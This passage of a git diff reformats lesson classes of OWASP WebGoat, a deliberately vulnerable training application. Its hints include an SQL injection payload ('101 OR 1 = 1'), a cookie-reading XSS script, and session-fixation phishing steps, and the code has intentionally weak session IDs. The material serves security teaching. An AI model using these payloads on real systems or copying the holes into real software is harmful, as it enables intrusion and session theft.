SequentialLessonAdapter ElementContainer ec = new ElementContainer(); String mailHeader = "Mail From:   admin@webgoatfinancial.com

"; String mailContent = (String) s.get(MAILCONTENTNAME); - - //Reset Lesson if server was shut down - if(mailContent == null) + + // Reset Lesson if server was shut down + if (mailContent == null) { getLessonTracker(s).setStage(1); return createStage1Content(s); } - + ec.addElement(mailHeader + mailContent); return ec; @@ -202,40 +201,40 @@ public class SessionFixation extends SequentialLessonAdapter { return createStage3Content(s); } - + @Override protected Element doStage4(WebSession s) throws Exception { return createStage4Content(s); } - + @Override protected Element doStage5(WebSession s) throws Exception { - //System.out.println("Doing stage 5"); + // System.out.println("Doing stage 5"); return createStage5Content(s); } - + private Element createStage5Content(WebSession s) { - + return createMainLoginContent(s); } private Element createStage3Content(WebSession s) { - + return createMainLoginContent(s); } - + private Element createStage4Content(WebSession s) { ElementContainer ec = new ElementContainer(); - ec.addElement("

Jane has logged into her account. Go and grab her session!" + - " Use Following link to reach the login screen of the bank:



" + - "
Goat Hills Financial




"); + ec.addElement("

Jane has logged into her account. Go and grab her session!" + + " Use Following link to reach the login screen of the bank:



" + "
Goat Hills Financial




"); return ec; - //return createMainLoginContent(s); + // return createMainLoginContent(s); } private Element createStage1Content(WebSession s) @@ -395,14 +394,14 @@ public class SessionFixation extends SequentialLessonAdapter ElementContainer ec = new ElementContainer(); String name = s.getParser().getStringParameter(USER, ""); String password = s.getParser().getStringParameter(PASSWORD, ""); - + try { // Logout Button is pressed if (s.getParser().getRawParameter("logout", "").equals("true")) { s.add(LOGGEDIN, "false"); - s.add("SID",""); + s.add("SID", ""); this.sid = ""; } @@ -419,7 +418,7 @@ public class SessionFixation extends SequentialLessonAdapter } else { - if((name+password).equals("")) + if ((name + password).equals("")) { createLogInContent(ec, ""); @@ -432,7 +431,7 @@ public class SessionFixation extends SequentialLessonAdapter } } catch (Exception e) { - if((name+password).equals("")) + if ((name + password).equals("")) { createLogInContent(ec, ""); @@ -446,7 +445,6 @@ public class SessionFixation extends SequentialLessonAdapter return ec; } - /** * See if the password and corresponding user is valid * @@ -478,8 +476,7 @@ public class SessionFixation extends SequentialLessonAdapter } catch (Exception e) { e.printStackTrace(); - } - finally + } finally { try { @@ -487,13 +484,11 @@ public class SessionFixation extends SequentialLessonAdapter { connection.close(); } - } - catch (Exception e) + } catch (Exception e) { e.printStackTrace(); } } - return false; @@ -541,7 +536,7 @@ public class SessionFixation extends SequentialLessonAdapter table.addElement(tr3); loginDiv.addElement(table); ec.addElement(loginDiv); - + H2 errorTag = new H2(errorMessage); errorTag.addAttribute("align", "center"); errorTag.addAttribute("class", "info"); @@ -602,7 +597,7 @@ public class SessionFixation extends SequentialLessonAdapter userDataDiv.addElement(table); ec.addElement(userDataDiv); ec.addElement(createLogoutLink()); - + } /** @@ -650,8 +645,7 @@ public class SessionFixation extends SequentialLessonAdapter } catch (Exception e) { e.printStackTrace(); - } - finally + } finally { try { @@ -659,8 +653,7 @@ public class SessionFixation extends SequentialLessonAdapter { connection.close(); } - } - catch (Exception e) + } catch (Exception e) { e.printStackTrace(); } @@ -715,8 +708,6 @@ public class SessionFixation extends SequentialLessonAdapter hints.add("Stage 4: Click on the link provided"); hints.add("Stage 4: What is your actual SID?"); hints.add("Stage 4: Change the SID (NOVALIDSESSION) to the choosen one in the mail"); - - return hints; @@ -732,35 +723,32 @@ public class SessionFixation extends SequentialLessonAdapter { stage = 4; } - String instructions = "STAGE " +stage+": "; - if(stage == 1) + String instructions = "STAGE " + stage + ": "; + if (stage == 1) { - instructions += "You are Hacker Joe and " + - "you want to steal the session from Jane. " + - "Send a prepared email to the victim " + - "which looks like an official email from the bank. " + - "A template message is prepared below, you will need to add " + - "a Session ID (SID) in the link inside the email. Alter " + - "the link to include a SID.

You are: Hacker Joe"; + instructions += "You are Hacker Joe and " + "you want to steal the session from Jane. " + + "Send a prepared email to the victim " + "which looks like an official email from the bank. " + + "A template message is prepared below, you will need to add " + + "a Session ID (SID) in the link inside the email. Alter " + + "the link to include a SID.

You are: Hacker Joe"; } else if (stage == 2) { - instructions += "Now you are the victim Jane who received the email below. " + - "If you point on the link with your mouse you will see that there is a SID included. " + - "Click on it to see what happens.

You are: Victim Jane "; + instructions += "Now you are the victim Jane who received the email below. " + + "If you point on the link with your mouse you will see that there is a SID included. " + + "Click on it to see what happens.

You are: Victim Jane "; } else if (stage == 3) { - instructions += "The bank has asked you to verfy your data. Log in to see if your details are " + - "correct. Your user name is Jane and your password is tarzan.

You are: Victim Jane "; + instructions += "The bank has asked you to verfy your data. Log in to see if your details are " + + "correct. Your user name is Jane and your password is tarzan.

You are: Victim Jane "; } else if (stage == 4) { - instructions += "It is time to steal the session now. Use following link to reach Goat Hills " + - "Financial.

You are: Hacker Joe "; + instructions += "It is time to steal the session now. Use following link to reach Goat Hills " + + "Financial.

You are: Hacker Joe "; } - return (instructions); } @@ -781,7 +769,7 @@ public class SessionFixation extends SequentialLessonAdapter { return ("Session Fixation"); } - + @Override public void handleRequest(WebSession s) { @@ -793,27 +781,23 @@ public class SessionFixation extends SequentialLessonAdapter form.setEncType(""); setContent(form); } - + @Override public String getLink() { - - if(sid.equals("")) - { - return super.getLink(); - } + + if (sid.equals("")) { return super.getLink(); } return super.getLink() + "&SID=" + sid; } - private String randomSIDGenerator() { String sid = ""; - sid = String.valueOf(Math.abs(random.nextInt()%100000)); + sid = String.valueOf(Math.abs(random.nextInt() % 100000)); return sid; } - + public Element getCredits() { return super.getCustomCredits("Created by: Reto Lippuner, Marcel Wirth", new StringElement("")); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SoapRequest.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SoapRequest.java index 6220ec8be..f82b3b92e 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SoapRequest.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SoapRequest.java @@ -56,8 +56,8 @@ import org.owasp.webgoat.session.WebgoatContext; * * @author asmolen * - * TODO To change the template for this generated type comment go to Window - Preferences - Java - - * Code Style - Code Templates + * TODO To change the template for this generated type comment go to Window - Preferences - + * Java - Code Style - Code Templates */ public class SoapRequest extends SequentialLessonAdapter { diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SqlNumericInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SqlNumericInjection.java index 9f0172a47..7d5e4bd67 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SqlNumericInjection.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SqlNumericInjection.java @@ -310,13 +310,13 @@ public class SqlNumericInjection extends SequentialLessonAdapter protected List getHints(WebSession s) { List hints = new ArrayList(); - hints.add("The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command."); + hints + .add("The application is taking the input from the select box and inserts it at the end of a pre-formed SQL command."); hints.add("This is the code for the query being built and issued by WebGoat:

" + "\"SELECT * FROM weather_data WHERE station = \" + station "); hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. " + "Try appending a SQL statement that always resolves to true."); - hints.add("Try to intercept the post request with WebScarab and replace the station " + - "with 101 OR 1 = 1"); + hints.add("Try to intercept the post request with WebScarab and replace the station " + "with 101 OR 1 = 1"); return hints; } @@ -351,7 +351,7 @@ public class SqlNumericInjection extends SequentialLessonAdapter super.handleRequest(s); } catch (Exception e) { - //System.out.println("Exception caught: " + e); + // System.out.println("Exception caught: " + e); e.printStackTrace(System.out); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/SqlStringInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/SqlStringInjection.java index 7f71b57ea..85f2beba5 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/SqlStringInjection.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/SqlStringInjection.java @@ -273,7 +273,7 @@ public class SqlStringInjection extends SequentialLessonAdapter super.handleRequest(s); } catch (Exception e) { - //System.out.println("Exception caught: " + e); + // System.out.println("Exception caught: " + e); e.printStackTrace(System.out); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/StoredXss.java b/main/project/JavaSource/org/owasp/webgoat/lessons/StoredXss.java index 35c7b6606..e0d118f2f 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/StoredXss.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/StoredXss.java @@ -79,7 +79,8 @@ public class StoredXss extends LessonAdapter private static int count = 1; private final static int USER_COL = 4; // Added by Chuck Willis - used to show user who posted - // message + + // message /** * Adds a feature to the Message attribute of the MessageBoardScreen object @@ -160,7 +161,8 @@ public class StoredXss extends LessonAdapter List hints = new ArrayList(); hints.add("You can put HTML tags in your message."); hints.add("Bury a SCRIPT tag in the message to attack anyone who reads it."); - hints.add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in the message field."); + hints + .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in the message field."); hints.add("Enter this: <script>alert(document.cookie);</script> in the message field."); return hints; @@ -307,7 +309,7 @@ public class StoredXss extends LessonAdapter * Description of the Parameter * @return Description of the Return Value */ - public Element makeList(WebSession s) + public Element makeList(WebSession s) { Table t = new Table(0).setCellSpacing(0).setCellPadding(0).setBorder(0); @@ -326,7 +328,7 @@ public class StoredXss extends LessonAdapter statement.setString(1, getNameroot(s.getUserName()) + "%"); statement.setString(2, getClass().getName()); ResultSet results = statement.executeQuery(); - + if ((results != null) && (results.first() == true)) { results.beforeFirst(); diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ThreadSafetyProblem.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ThreadSafetyProblem.java index a61d3cb8e..fac617489 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/ThreadSafetyProblem.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ThreadSafetyProblem.java @@ -189,7 +189,7 @@ public class ThreadSafetyProblem extends LessonAdapter super.handleRequest(s); } catch (Exception e) { - //System.out.println("Exception caught: " + e); + // System.out.println("Exception caught: " + e); e.printStackTrace(System.out); } } diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/UncheckedEmail.java b/main/project/JavaSource/org/owasp/webgoat/lessons/UncheckedEmail.java index 6ec48f6da..3be3cc432 100644 --- a/main/project/JavaSource/org/owasp/webgoat/lessons/UncheckedEmail.java +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/UncheckedEmail.java @@ -125,13 +125,14 @@ public class UncheckedEmail extends LessonAdapter sendSimulatedMail(ec, to, subject, message); } } - - if(to.length() > 0 && "webgoat.admin@owasp.org".equals(to) && message.contains(" 0 && "webgoat.admin@owasp.org".equals(to) && message.contains("